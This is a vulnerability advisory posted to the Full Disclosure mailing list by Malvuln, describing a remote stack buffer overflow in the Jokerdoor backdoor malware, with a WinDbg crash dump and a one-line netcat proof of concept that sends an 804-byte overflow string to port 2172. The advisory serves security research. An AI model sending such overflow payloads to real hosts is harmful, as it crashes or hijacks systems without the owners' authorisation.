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Message-ID: <CAAHK0WS8dK_+UftpbGJmu3K14xJ-3Sh77Afvi3NG-z_mVhU1-w@mail.gmail.com>
Date: Tue, 26 Apr 2022 21:22:11 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Jokerdoor / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/94d1b2510bf96fa6190cd65876bf4c38.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 2172. Third party attackers
who can reach an infected system can send a large payload and trigger a
classic stack buffer overflow overwriting the ECX, EIP registers and
structured exception handler (SEH). When connecting you will get a
"connected" server response, then we supply our payload as a parameter
prefixed by "DOS".
Family: Jokerdoor
Type: PE32
MD5: 94d1b2510bf96fa6190cd65876bf4c38
Vuln ID: MVID-2022-0562
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 04/26/2022

Memory Dump:
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000
edi=00000000
eip=41414141 esp=000a1608 ebp=000a1628 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Jokerdoor.94d1b2510bf96fa6190cd65876bf4c38
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Jokerdoor.94d1b2510bf96fa6190cd65876bf4c38

FAULTING_IP:
+26
41414141 ??              ???

EXCEPTION_RECORD:  0019ee3c -- (.exr 0x19ee3c)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Backdoor.Win32.Jokerdoor.94d1b2510bf96fa6190cd65876bf4c38

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
+26
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019ee8c -- (.cxr 0x19ee8c)
eax=00010000 ebx=04223c0c ecx=75f5eb0d edx=00000000 esi=00060486
edi=026a0d17
eip=41414141 esp=0019f2ec ebp=41414141 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
41414141 ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000
unknown!backdoor.win32.jokerdoor.94d1b2510bf96fa6190cd65876bf4c38+0x0


STACK_COMMAND:  .cxr 000000000019EE8C ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:
 unknown!backdoor.win32.jokerdoor.94d1b2510bf96fa6190cd65876bf4c38

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE_c0000005_unknown!Unloaded

BUCKET_ID:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.jokerdoor.94d1b2510bf96fa6190cd65876bf4c38


Exploit/PoC:
C:\>python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 2172
connected. 19:51 - April 21, 2022, Thursday, ver: Legends 2.1


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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